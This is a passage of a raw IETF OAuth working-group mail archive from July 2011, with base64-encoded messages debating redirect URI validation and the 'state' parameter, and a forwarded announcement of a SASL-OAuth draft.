DQo+ID5jb25zaWRlciBhbHRlcm5hdGl2ZSB3YXkgdG8gdmFsaWRhdGUgdGhlIGNsaWVudCBpZGVu dGl0eSBpZiBzZWNyZXRzDQo+ID5jYW5ub3QgYmUgdXNlZC4gVGhlIHNlY3VyaXR5IHRocmVhdCBk b2N1bWVudCBhbHNvIHN1Z2dlc3Qgc29tZS4NCj4gPg0KPiA+cmVnYXJkcywNCj4gPlRvcnN0ZW4u DQoNCg== From eran@hueniverse.com Fri Jul 8 10:04:08 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2BD3B21F8BFC for ; Fri, 8 Jul 2011 10:04:08 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.652 X-Spam-Level: X-Spam-Status: No, score=-2.652 tagged_above=-999 required=5 tests=[AWL=-0.053, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id BW4QjVKWuDeK for ; Fri, 8 Jul 2011 10:04:07 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 51EB021F8B96 for ; Fri, 8 Jul 2011 10:04:07 -0700 (PDT) Received: (qmail 1339 invoked from network); 8 Jul 2011 17:04:06 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 8 Jul 2011 17:04:06 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Fri, 8 Jul 2011 10:03:34 -0700 From: Eran Hammer-Lahav To: Torsten Lodderstedt , OAuth WG Date: Fri, 8 Jul 2011 10:03:29 -0700 Thread-Topic: [OAUTH-WG] state parameter and XSRF detection Thread-Index: Acw9SDW40JrNoYFaQVuzmYB7JBgdOgAQ3cDQ Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0032@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E08F494.2010807@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E7234501D49FDD3@P3PW5EX1MB01.EX1.SECURESERVER.NET> <9d7933e1-6845-4d58-9835-387b0753aab9@email.android.com> In-Reply-To: <9d7933e1-6845-4d58-9835-387b0753aab9@email.android.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 Subject: Re: [OAUTH-WG] state parameter and XSRF detection X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 17:04:08 -0000 VGhlIHNlY3VyaXR5IG9mIHRoZSBwcm90b2NvbCByZWxpZXMgZnVsbHkgKGltcGxpY2l0IGdyYW50 KSBvciBwYXJ0aWFsbHkgKGF1dGhvcml6YXRpb24gY29kZSkgb24gdGhlIHZhbGlkYXRpb24gb2Yg dGhlIHJlZGlyZWN0aW9uIFVSSS4gVGhpcyB3YXMgd2VsbCB1bmRlcnN0b29kIGJ5IG1hbnkgZXhw ZXJ0cyBidXQgdW50aWwgLTE3LCB3ZSBsYXJnZWx5IGlnbm9yZWQgYnkgdGhlIHNwZWNpZmljYXRp b24uDQoNClVzaW5nIGR5bmFtaWMgdmFsdWVzIGFyZSBzdGlsbCBmdWxseSBzdXBwb3J0ZWQ6DQoN CiAgIDMuMS4yLjIuICBSZWdpc3RyYXRpb24gUmVxdWlyZW1lbnRzDQoNCiAgIFRoZSBhdXRob3Jp emF0aW9uIHNlcnZlciBNVVNUIHJlcXVpcmUgcHVibGljIGNsaWVudHMgdG8gcmVnaXN0ZXINCiAg IHRoZWlyIHJlZGlyZWN0aW9uIFVSSSwgTVVTVCByZXF1aXJlIGFsbCBjbGllbnRzIHRvIHJlZ2lz dGVyIHRoZWlyDQogICByZWRpcmVjdGlvbiBVUkkgcHJpb3IgdG8gdXRpbGl6aW5nIHRoZSBpbXBs aWNpdCBncmFudCB0eXBlLCBhbmQNCiAgIFNIT1VMRCByZXF1aXJlIGFsbCBjbGllbnRzIHRvIHJl Z2lzdGVyIHRoZWlyIHJlZGlyZWN0aW9uIFVSSSBwcmlvciB0bw0KICAgdXRpbGl6aW5nIHRoZSBh dXRob3JpemF0aW9uIGNvZGUgZ3JhbnQgdHlwZS4NCg0KICAgVGhlIGF1dGhvcml6YXRpb24gc2Vy dmVyIFNIT1VMRCByZXF1aXJlIHRoZSBjbGllbnQgdG8gcHJvdmlkZSB0aGUNCiAgIGNvbXBsZXRl IHJlZGlyZWN0aW9uIFVSSSAodGhlIGNsaWVudCBNQVkgdXNlIHRoZSAic3RhdGUiIHJlcXVlc3QN CiAgIHBhcmFtZXRlciB0byBhY2hpZXZlIHBlci1yZXF1ZXN0IGN1c3RvbWl6YXRpb24pLiAgVGhl IGF1dGhvcml6YXRpb24NCiAgIHNlcnZlciBNQVkgYWxsb3cgdGhlIGNsaWVudCB0byByZWdpc3Rl ciBtdWx0aXBsZSByZWRpcmVjdGlvbiBVUklzLg0KICAgSWYgcmVxdWlyaW5nIHRoZSByZWdpc3Ry YXRpb24gb2YgdGhlIGNvbXBsZXRlIHJlZGlyZWN0aW9uIFVSSSBpcyBub3QNCiAgIHBvc3NpYmxl LCB0aGUgYXV0aG9yaXphdGlvbiBzZXJ2ZXIgU0hPVUxEIHJlcXVpcmUgdGhlIHJlZ2lzdHJhdGlv biBvZg0KICAgdGhlIFVSSSBzY2hlbWUsIGF1dGhvcml0eSwgYW5kIHBhdGguDQoNCkFuZCAzLjEu Mi4zLiAgRHluYW1pYyBDb25maWd1cmF0aW9uLCBhZGRzOg0KDQogICBJZiB0aGUgYXV0aG9yaXph dGlvbiBzZXJ2ZXIgYWxsb3dzIHRoZSBjbGllbnQgdG8gZHluYW1pY2FsbHkgY2hhbmdlDQogICB0 aGUgcXVlcnkgY29tcG9uZW50IG9mIHRoZSByZWRpcmVjdGlvbiBVUkksIHRoZSBjbGllbnQgTVVT VCBlbnN1cmUNCiAgIHRoYXQgbWFuaXB1bGF0aW9uIG9mIHRoZSBxdWVyeSBjb21wb25lbnQgYnkg YW4gYXR0YWNrZXIgY2Fubm90IGxlYWQNCiAgIHRvIGFuIGFidXNlIG9mIHRoZSByZWRpcmVjdGlv biBlbmRwb2ludCBhcyBhbiBvcGVuIHJlZGlyZWN0b3IuDQoNClRoZSByYXRpb25hbCBmb3IgdGhp cyBpcyB0aGF0IGNvbXBhcmluZyBmdWxsIFVSSXMgKHVzaW5nIHNpbXBsZSBzdHJpbmcgY29tcGFy aXNvbikgcHJvdmlkZXMgZm9yIG11Y2ggbGVzcyBtb3ZpbmcgcGFydHMuIFdlIGtub3cgZnJvbSBl eHBlcmllbmNlIHRoYXQgVVJJIG5vcm1hbGl6YXRpb24gaXMgaGFyZCBhbmQgdGhhdCBhdHRhY2tl cnMgc29tZXRpbWVzIGZpbmQgd2F5cyB0byBpbmplY3QgdmFsdWVzIGludG8gdGhlIHJlZGlyZWN0 aW9uIFVSSSBhbmQgc3RpbGwgcGFzcyB2YWxpZGF0aW9uIChiYXNlZCBvbiB0aGUgc3BlY2lmaWMg aXNzdWVzIHdpdGggdGhlIHNlcnZlcuKAmXMgbm9ybWFsaXphdGlvbiBsb2dpYykuDQoNCldlIHdl cmUgdW5hYmxlIHRvIGNvbWUgdXAgd2l0aCBhIHVzZWZ1bCBzZXQgb2YgcnVsZXMgZm9yIHJlZGly ZWN0aW9uIFVSSSB2YWxpZGF0aW9uIGJhc2VkIG9uIGluZGl2aWR1YWxseSByZWdpc3RlcmVkIFVS SSBjb21wb25lbnRzLiBUaGlzIGhhcyBhbHNvIGJlZW4gYW4gYXJlYSBvZiBncmVhdCBjb25mdXNp b24gYnkgT0F1dGggMS4wIGRldmVsb3BlcnMsIGFzIGVhY2ggcHJvdmlkZXIgaGFzIGl0cyBvd24g c2V0IG9mIHJ1bGVzIGFuZCBtZXRob2RzIGZvciBVUkkgcmVnaXN0cmF0aW9uLiBTb21lIGltcGxl bWVudGF0aW9ucyBhcmUgb3V0cmlnaHQgaWRpb3RpYy4gT24gdGhlIG90aGVyIGhhbmQsIGlmIHdl IHJlY29tbWVuZCBkZXZlbG9wZXJzIHRvIHNpbXBseSBkbyBzdHJpbmcgY29tcGFyaXNvbiAocGVy IFJGQyAzOTg2IHNlY3Rpb24gNikgYW5kIG5vdCBhbGxvdyBhbnkgY2hhbmdlcywgd2Uga25vdyBp dCBpcyBtdWNoIG1vcmUgbGlrZWx5IHRvIGJlIGltcGxlbWVudGVkIHNlY3VyZWx5Lg0KDQpCZXlv bmQgdGhlIGNvbXBsZXhpdHkgb2Ygbm9ybWFsaXphdGlvbiBhbmQgY29tcGFyaXNvbjogbWFueSBl eGlzdGluZyBwbGF0Zm9ybSBhbGxvdyBmb3IgaW50ZXJuYWwgcmVkaXJlY3Rpb25zIGFuZCBzcGVj aWFsIGhhbmRsaW5nIHVzaW5nIHNwZWNpYWwgcXVlcnkgcGFyYW1ldGVycy4gTW9zdCBsb2dpbiBw YWdlcyBzdXBwb3J0IHNvbWUgZm9ybSBvZiBhdXRvbWF0aWMgcmVkaXJlY3Rpb24gdG8gdGhlIHJl ZmVycmluZyByZXNvdXJjZS4gSWYgYW4gYXR0YWNrZXIgY2FuIGFjY2VzcyBzdWNoIGEgcGFyYW1l dGVyLCBpdCBjYW4gbWFuaXB1bGF0ZSB0aGUgcmVkaXJlY3Rpb24gVVJJIHRvIHBhc3MgdmFsaWRh dGlvbiBidXQgcHJvZHVjZSB2ZXJ5IGRpZmZlcmVudCByZXN1bHRzLiBUaGUgd29yc3QgY2FzZSBz Y2VuYXJpbyBpcyBmaW5kaW5nIGEgcXVlcnkgcGFyYW1ldGVyIGNhcGFibGUgb2YgdHJpZ2dlcmlu ZyBhIHJlZGlyZWN0aW9uIHdoaWNoIHdpbGwgdGhlbiBzZW5kIHRoZSBjcmVkZW50aWFscyB0byB0 aGUgYXR0YWNrZXIuDQoNClRoZSBzaW1wbGVzdCBmb3JtIG9mIHRoaXMgYXR0YWNrIGlzIHRoZSBh dmFpbGFiaWxpdHkgb2YgYW4gb3BlbiByZWRpcmVjdG9yICh3aGljaCBtb3N0IGxhcmdlIHByb3Zp ZGVycyBoYXZlLCBzb21lIHdpdGggYmV0dGVyIHNhZmVndWFyZHMgdGhlbiBvdGhlcnMpLiBJZiBl eGFtcGxlLmNvbSBvZmZlcnMgYW4gb3BlbiByZWRpcmVjdG9yLCByZWdpc3RyYXRpb24gb2YgdGhl IHNjaGVtZSBhbmQgYXV0aG9yaXR5IHdpbGwgYWNjb21wbGlzaCBub3RoaW5nLCBhcyB0aGUgb3Bl biByZWRpcmVjdG9yIGVuZHBvaW50IHdpbGwgcGFzcyB2YWxpZGF0aW9uLiBSZWdpc3RyYXRpb24g b2YgdGhlIGZ1bGwgcGF0aCBpcyAqdXN1YWxseSogc3VmZmljaWVudCwgYnV0IG5vdCBhbHdheXMs IGFuZCByZWxpZXMgb2YgcHJvcGVyIG5vcm1hbGl6YXRpb24gdGhhdCBmb3JjZXMgYSBxdWVyeSBz ZXBhcmF0b3IgJz8nIGJldHdlZW4gdGhlIGZ1bGx5IHJlZ2lzdGVyZWQgcGF0aCBhbmQgdGhlIGFw cGVuZGVkIHF1ZXJ5IChhcyB3ZWxsIGFzIGVuZm9yY2UgcHJvcGVyIHJlc2VydmVkIGNoYXJhY3Rl cnMgZW5jb2RpbmcpLg0KDQpUaGUgdHlwaWNhbCBzb3BoaXN0aWNhdGlvbiBvZiB0aGUgYXV0aG9y aXphdGlvbiBzZXJ2ZXIgZGV2ZWxvcGVyIGlzIG11Y2ggZ3JlYXRlciB0aGFuIHRoYXQgb2YgdGhl IGNsaWVudCBkZXZlbG9wZXIuIEl0IGlzIGJldHRlciB0byBlbmNvdXJhZ2UgdGhlIHNlcnZlciBk ZXZlbG9wZXIgdG8gZW5mb3JjZSBiZXR0ZXIgcG9saWN5LCB0aGFuIGhvcGUgdGhhdCB0aGUgY2xp ZW50IGRldmVsb3BlciB3aWxsIGJlIGFibGUgdG8gZmluZCBhbmQgY2xvc2UgZXZlcnkgcG90ZW50 aWFsIHNlY3VyaXR5IGhvbGUgaW4gaXRzIGVudGlyZSBzeXN0ZW0gdG8gcmVuZGVyIHJlZGlyZWN0 aW9uIFVSSSB2YWxpZGF0aW9uIHRydXN0d29ydGh5Lg0KDQpUaGUgc3BlY2lmaWNhdGlvbiBwcm92 aWRlcyBhbmQgaGlnaGxpZ2h0cyB0aGUgJ3N0YXRlJyBwYXJhbWV0ZXIgYXMgdGhlIHByb3BlciB3 YXkgb2YgYWNjb21wbGlzaGluZyByZWRpcmVjdGlvbiBVUkkgY3VzdG9taXphdGlvbi4gSXQgaXMg c2lnbmlmaWNhbnRseSBzaW1wbGVyIHRvIHJlc3RyaWN0IHZhbGlkYXRpb24gdG8gc2ltcGxlIHN0 cmluZyBjb21wYXJpc29uLCBhbmQgcHJvdGVjdCB0aGUgJ3N0YXRlJyBwYXJhbWV0ZXIgb24gdGhl IGNsaWVudCBmcm9tIGJlaW5nIGFidXNlZCBieSBhbiBhdHRhY2tlci4NCg0KSWYgSSBoYWQgaXQg bXkgd2F5LCB0aGUgc3BlY2lmaWNhdGlvbiB3b3VsZCBiYW4gYW55IHR5cGUgb2YgZHluYW1pYyBy ZWRpcmVjdGlvbiBVUkkgKG90aGVyIHRoYW4gc2VsZWN0aW5nIG9uZSBvdXQgb2YgbXVsdGlwbGUg ZnVsbHkgc3BlY2lmaWVkIG9wdGlvbnMpLiBCdXQgdGhpcyBwcm9wb3NhbCB3YXMgcmVqZWN0ZWQg KGZvciBubyBnb29kIHJlYXNvbnMsIGp1c3QgcGVvcGxlIHN0dWNrIHRvIHRoZWlyIGJyb2tlbiBv bGQgd2F5cyksIHNvIHRoZSBuZXcgdGV4dCBpcyB0aGUgYmVzdCBJIGNhbiBkbyB3aXRob3V0IG1h a2luZyBicmVha2luZyBjaGFuZ2VzLg0KDQpFSEwNCg0KDQoNCg0KDQpGcm9tOiBUb3JzdGVuIExv ZGRlcnN0ZWR0IFttYWlsdG86dG9yc3RlbkBsb2RkZXJzdGVkdC5uZXRdIA0KU2VudDogRnJpZGF5 LCBKdWx5IDA4LCAyMDExIDE6MjMgQU0NClRvOiBFcmFuIEhhbW1lci1MYWhhdjsgT0F1dGggV0cN ClN1YmplY3Q6IFJFOiBbT0FVVEgtV0ddIHN0YXRlIHBhcmFtZXRlciBhbmQgWFNSRiBkZXRlY3Rp b24NCg0KSGkgRXJhbiwNCg0KaW5jbHVkaW5nIGR5bmFtaWMgdmFsdWVzIHdpdGhpbiByZWRpcmVj dCB1cmlzIGlzIHN0YW5kYXJkIHByYWN0aWNlIHRvZGF5IGFuZCBpcyBhbGxvd2VkIGJ5IHRoZSBz cGVjJ3MgdGV4dCBzbyBmYXIuIEkgZG9uJ3QgbWluZCB0byBjaGFuZ2UgaXQgYnV0IHRoZSByZXN0 cmljdGVkIGJlaGF2aW9yIHlvdSBwcmVmZXIgaXMgYSBzaWduaWZpY2FudCBwcm90b2NvbCBjaGFu Z2UuDQoNCk1vcmVvdmVyLCBJIHdvdWxkIGxpa2UgdG8gdW5kZXJzdGFuZCB0aGUgdGhyZWF0IHlv dSBoYXZlIGluIG1pbmQgYW5kIGluY2x1ZGUgaXQgaW50byBvdXIgdGhyZWF0IG1vZGVsLiBTbyB3 b3VsZCB5b3UgcGxlYXNlIHByb3ZpZGUgYSBtb3JlIGRldGFpbGVkIGRlc2NyaXB0aW9uPw0KDQpy ZWdhcmRzLA0KVG9yc3Rlbi4NCg0KDQoNCkVyYW4gSGFtbWVyLUxhaGF2IDxlcmFuQGh1ZW5pdmVy c2UuY29tPiBzY2hyaWViOg0KQWxsb3dpbmcgYW55IGZsZXhpYmx5IGluIHRoZSByZWRpcmVjdGlv biBVUkkgaXMgYSBiYWQgdGhpbmcgYW5kIHRoZSBsYXRlc3QgZHJhZnQgKHByZSAtMTcpIGNsZWFy bHkgc3RhdGVzIHRoYXQuIFRoZSBtYWluIGZlYXIgaXMgdGhhdCBieSBhbGxvd2luZyB0aGUgcXVl cnkgdG8gYmUgY2hhbmdlZCBkeW5hbWljYWxseSwgYXR0YWNrZXJzIGNhbiBmaW5kIG9wZW4gcmVk aXJlY3RvciBsb29waG9sZXMgdG8gYWJ1c2UuIEkgcmVhbGx5IHdhbnRlZCB0byBtYWtlIHJlZ2lz dHJhdGlvbiBvZiB0aGUgYWJzb2x1dGUgVVJJIGEgTVVTVCwgYnV0IGRpZG4ndCBnbyB0aGF0IGZh ci4NCg0KRUhMDQoNCj4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4gRnJvbTogb2F1dGgt Ym91bmNlc0BpZXRmLm9yZyBbbWFpbHRvOm9hdXRoLWJvdW5jZXNAaWV0Zi5vcmddIE9uIEJlaGFs Zg0KPiBPZiBUb3JzdGVuIExvZGRlcnN0ZWR0DQo+IFNlbnQ6IE1vbmRheSwgSnVuZSAyNywgMjAx MSAyOjIyIFBNDQo+IFRvOiBPQXV0aCBXRw0KPiBTdWJqZWN0OiBbT0FVVEgtV0ddIHN0YXRlIHBh cmFtZXRlciBhbmQgWFNSRiBkZXRlY3Rpb24NCj4gDQo+IEhpIGFsbCwNCj4gDQo+IHdoaWxlIHdv cmtpbmcgb24gYSBuZXcgcmV2aXNpb24gb2YgdGhlIE9BdXRoIHNlY3VyaXR5IGRvY3VtZW50LCBh IHF1ZXN0aW9uDQo+IGFyb3NlIEkgd291bGQgbGlrZSB0byBjbGFyaWZ5IG9uIHRoZSBsaXN0Lg0K PiANCj4gVGhlICJzdGF0ZSIgcGFyYW1ldGVyIGlzIHN1cHBvc2VkIHRvIGJlIHVzZWQgdG8gbGlu ayBhIGNlcnRhaW4gYXV0aG9yaXphdGlvbg0KPiByZXF1ZXN0IGFuZCByZXNwb25zZS4gVGhlcmVm b3JlLCB0aGUgY2xpZW50IHN0b3JlcyBhIHZhbHVlIGluIHRoaXMgcGFyYW1ldGVyDQo+IHRoYXQg aXMgc29tZWhvdyBib3VuZCB0byBhIHZhbHVlIHJldGFpbmVkIG9uIHRoZSBkZXZpY2UgKHRoZSB1 c2VyIGFnZW50KQ0KPiBvcmlnaW5hdGluZyB0aGUgYXV0aG9yaXphdGlvbiByZXF1ZXN0Lg0KPiAN Cj4gVGhlIHF1ZXN0aW9uIG5vdyBpczogV291bGQgaXQgYmUgY29tcGxpYW50IHdpdGggdGhlIGNv cmUgc3BlYyB0byB1c2UgYW55DQo+IG90aGVyIFVSSSBxdWVyeSBwYXJhbWV0ZXIgZW5jb2RlZCBp biB0aGUgcmVkaXJlY3RfdXJpLCBpbnN0ZWFkIG9mIHRoZQ0KPiAic3RhdGUiIHBhcmFtZXRlciwg dG8gYWNoaWV2ZSB0aGUgc2FtZSBnb2FsPyBQcm9iYWJseSB0aGUgY2xpZW50IGFscmVhZHkgaGFz DQo+IGEgd29ya2luZyAibGVnYWN5IiBpbXBsZW1lbnRhdGlvbiBpdCBkb2VzIG5vdCB3YW50IHRv IGNoYW5nZSBqdXN0IGZvcg0KPiBPQXV0aDIgY29tcGxpYW5jZS4NCj4gDQo+IEFjY29yZGluZyB0 byBzZWN0aW9uIDIuMi4xLCB0aGUgcmVkaXJlY3Rpb24gdXJpIGNvdWxkIGNvbnRhaW4gYSBkeW5h bWljDQo+IHBvcnRpb246DQo+IA0KPiAiVGhlIGF1dGhvcml6YXRpb24gc2VydmVyIFNIT1VMRCBy ZXF1aXJlIHRoZSBjbGllbnQgdG8gcHJlLXJlZ2lzdGVyDQo+ICAgICB0aGVpciByZWRpcmVjdGlv biBVUkkgb3IgYXQgbGVhc3QgY2VydGFpbiBjb21wb25lbnRzIHN1Y2ggYXMgdGhlDQo+ICAgICBz Y2hlbWUsIGhvc3QsIHBvcnQgYW5kIHBhdGgiDQo+IA0KPiBTbyB0aGlzIHNob3VsZCBiZSBmaW5l Lg0KPiANCj4gQW55IGNvbW1lbnRzPw0KPiANCj4gcmVnYXJkcywNCj4gVG9yc3Rlbi4NCj4gDQo+ DQpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fDQoNCj4gT0F1dGggbWFp bGluZyBsaXN0DQo+IE9BdXRoQGlldGYub3JnDQo+IGh0dHBzOi8vd3d3LmlldGYub3JnL21haWxt YW4vbGlzdGluZm8vb2F1dGgNCg== From wmills@yahoo-inc.com Fri Jul 8 10:45:24 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 7735321F8BF3 for ; Fri, 8 Jul 2011 10:45:24 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -16.073 X-Spam-Level: X-Spam-Status: No, score=-16.073 tagged_above=-999 required=5 tests=[AWL=1.525, BAYES_00=-2.599, HTML_MESSAGE=0.001, USER_IN_DEF_WHITELIST=-15] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id owZFO-hOexYF for ; Fri, 8 Jul 2011 10:45:23 -0700 (PDT) Received: from nm19.bullet.mail.sp2.yahoo.com (nm19.bullet.mail.sp2.yahoo.com [98.139.91.89]) by ietfa.amsl.com (Postfix) with SMTP id 975E621F8BB9 for ; Fri, 8 Jul 2011 10:45:23 -0700 (PDT) Received: from [98.139.91.68] by nm19.bullet.mail.sp2.yahoo.com with NNFMP; 08 Jul 2011 17:45:21 -0000 Received: from [98.139.91.22] by tm8.bullet.mail.sp2.yahoo.com with NNFMP; 08 Jul 2011 17:45:21 -0000 Received: from [127.0.0.1] by omp1022.mail.sp2.yahoo.com with NNFMP; 08 Jul 2011 17:45:21 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 326443.45409.bm@omp1022.mail.sp2.yahoo.com Received: (qmail 8876 invoked by uid 60001); 8 Jul 2011 17:45:20 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo-inc.com; s=ginc1024; t=1310147120; bh=by2qm+pLQyorJnT2fSvRb/TMaWtbow6AXNi8eDOSd5E=; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=dWTovn5uHS9pG/Ws50ZaoU9DLauOKPkaMxnHSOHGETcDslV15o/4VpBMCJL7xy2+mA9LKt1t+S84Ef7wT21vQOilDRdFLh81e4KB24e/zT53K5UXN2LjTf8fw741QcYKSdNVWlvNqU+kC9TNqyQ1zRHocvpZohvONE2q09M4OVw= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=ginc1024; d=yahoo-inc.com; h=X-YMail-OSG:Received:X-RocketYMMF:X-Mailer:References:Message-ID:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=Cf+pDc6A18qpJsJCLn6rkmCGdRwAX9Ol/gqocjk3k+HWmqrKoKYz2cyLeEn85Q61E9qpOcO7WjPF6o8r1y2jmfaxKU37LewQsL36uenNeSiOI1gk/cYo/mKgRueeMKJsl8waN3H2tuTgoNLa6i/VAeoKyK90HhPZOCsCbfiHG30=; X-YMail-OSG: pjByltoVM1nu7WBivRe2RnGJ74dHdLyndLe3qH6g7sGHdVZ 1csSDU35MZuGtt1jv76Qddz8Lp._lyR3VlmnkVtvzrZwTDTbeQGNE4eLad4T ubYjkWyRQ17CcqJtPGXyETuCFwyPqQC73QFpf4Jxt1ZlgSbdaJiHb8JOoJ3J zIPMrM2ny3_k.GqsDAlecrz4OllVLqTfSCDbGHHTeYDiMnDuwClqwyHWSFbe X_s24rqRkAnb05R_ox78z.5DAheKWm0FMTr1mPz799w08HKCDpRwpOAReR_D JhSzts3l6905J7OtcrYWR0HeOd4r3roa1qlwiGFQtfzT6TrZ76_w7.ncJ0wA 8exwBf_p3nnSLdd2LvkK7cNVn2Jyc_YXY.vTV1Q-- Received: from [209.131.62.115] by web31805.mail.mud.yahoo.com via HTTP; Fri, 08 Jul 2011 10:45:20 PDT X-RocketYMMF: william_john_mills X-Mailer: YahooMailWebService/0.8.112.310352 References: <1310064776.32123.YahooMailNeo@web31801.mail.mud.yahoo.com> Message-ID: <1310147120.5121.YahooMailNeo@web31805.mail.mud.yahoo.com> Date: Fri, 8 Jul 2011 10:45:20 -0700 (PDT) From: "William J. Mills" To: "oauth@ietf.org" In-Reply-To: <1310064776.32123.YahooMailNeo@web31801.mail.mud.yahoo.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-303431199-1310147120=:5121" Subject: [OAUTH-WG] Fw: New draft of https://tools.ietf.org/htmdraft-mills-kitten-sasl-oauth X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list Reply-To: "William J. Mills" List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 08 Jul 2011 17:45:24 -0000 --0-303431199-1310147120=:5121 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable FYI and feedback welcome.=0A=0A=0A----- Forwarded Message -----=0AFrom: Wil= liam J. Mills =0ATo: "kitten@ietf.org" =0ACc: Hannes Tschofenig ; "hannes.tschofenig= @gmx.net" ; Tim Showalter =0ASent: Thursday, July 7, 2011 11:52 AM=0ASubject: New draft of https://t= ools.ietf.org/htmdraft-mills-kitten-sasl-oauth=0A=0A=0AHi,=0A=0AI've posted= a new draft.=A0 I believe there is one open issue, and that is whether we'= re going to include text defining how Tunneled HTTP authentication (started= as OAuth) works with GSS-API. I am coming more and more to the opinion tha= t the GSS-API definition is going to be very auth mechanism specific.=A0 Th= is draft only defines what SASL needs currently, which is user auth.=A0 GSS= -API has message integrity as well, and possibly other things that can be m= apped into HTTP auth schemes, and I think it's going to be=A0 required that= the auth schemes define their capabilities and GSS_API mappings.=0A=0AThe = draft also fixes the channel binding text, not tls-unique specific. Also d= efining how the CB data is properly generated.=0A=0ASubject to the open iss= ue above (which could be significant) I=0A think this is close to a last ca= ll.=0A=0ADoes this draft need some discussion time in Quebec?=A0 If so I'll= need to make travel plans.=0A=0AThanks,=0A=0A-bill=0A=0A=0AMeta-Data from = the Draft=0ADocumentdraft-mills-kitten-sasl-oauth =0A[View first two pages]= =0A=09* [Txt version ]=0A=09* [Pdf version ]=0A=09* [Xml version ] =0ARevi= sion03 =0AWGIndividual Submission =0ADocument date2011-07-01 =0ASubmission = date2011-07-02 =0ATitleTunneled HTTP Authentication For SASL =0AAuthor info= rmation=0AAuthor 1William Mills =0AAuthor 2Tim Showa= lter =0AAuthor 3Hannes Tschofenig =0AAbstractSimple Authentication and Security Layer (SASL) is a = framework for=0Aproviding authentication and data security services in conn= ection-=0Aoriented protocols via replaceable mechanisms. OAuth is a protoc= ol=0Aframework for delegated HTTP authentication and thereby provides a=0Am= ethod for clients to access a protected resource on behalf of a=0Aresource = owner.=0A=0AThis document defines the use of HTTP authentication over SASL,= and=0Aadditionally defines authorization and token issuing endpoint=0Adisc= overy. Thereby, it enables schemes defined within the OAuth=0Aframework fo= r non-HTTP-based application protocols.=0A=0AA significant benefit of OAuth= for usage in clients that usually=0Astore passwords is storing tokens inst= ead of passwords. This is much=0Alower risk since tokens can be more limit= ed in scope of access and=0Acan be managed and revoked separately from the = user=0A credential=0A(password).=0A =0APages24 --0-303431199-1310147120=:5121 Content-Type: text/html; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable
FYI and feedback welcome.

<= div style=3D"font-family: times new roman,new york,times,serif; font-size: = 12pt;">----- Forwarded Message -----
= From: William J. Mills <wm= ills@yahoo-inc.com>
To:<= /b> "kitten@ietf.org" <kitten@ietf.org>
Cc: Hannes Tschofenig <hannes.tschofenig@nsn.com&= gt;; "hannes.tschofenig@gmx.net" <hannes.tschofenig@gmx.net>; Tim Sho= walter <timshow@yahoo-inc.com>
Sent: Thursday, July 7, 2011 11:52 AM
Subject: New draft of https://tools.ietf.org/htmdraft-mi= lls-kitten-sasl-oauth

Hi,
I've posted a new draft.  I believe there is one open issue, and that= is whether we're going to include text defining how Tunneled HTTP authenti= cation (started as OAuth) works with GSS-API. I am coming more and more to = the opinion that the GSS-API definition is going to be very auth mechanism = specific.  This draft only defines what SASL needs currently, which is= user auth.  GSS-API has message integrity as well, and possibly other= things that can be mapped into HTTP auth schemes, and I think it's going t= o be  required that the auth schemes define their capabilities and GSS= _API mappings.

The draft also fixes the channel binding text, not tls-unique specific. Also defining how the CB data is properly generated.=

Subject to the open issue above (which could be significant) I=0A t= hink this is close to a last call.

Does this draft need some discuss= ion time in Quebec?  If so I'll need to make travel plans.

Than= ks,

-bill

Meta-Data from the Draft

=0A=0A=0A=0ADocument=0A = draft-mills-kitten-sasl-oauth=0A
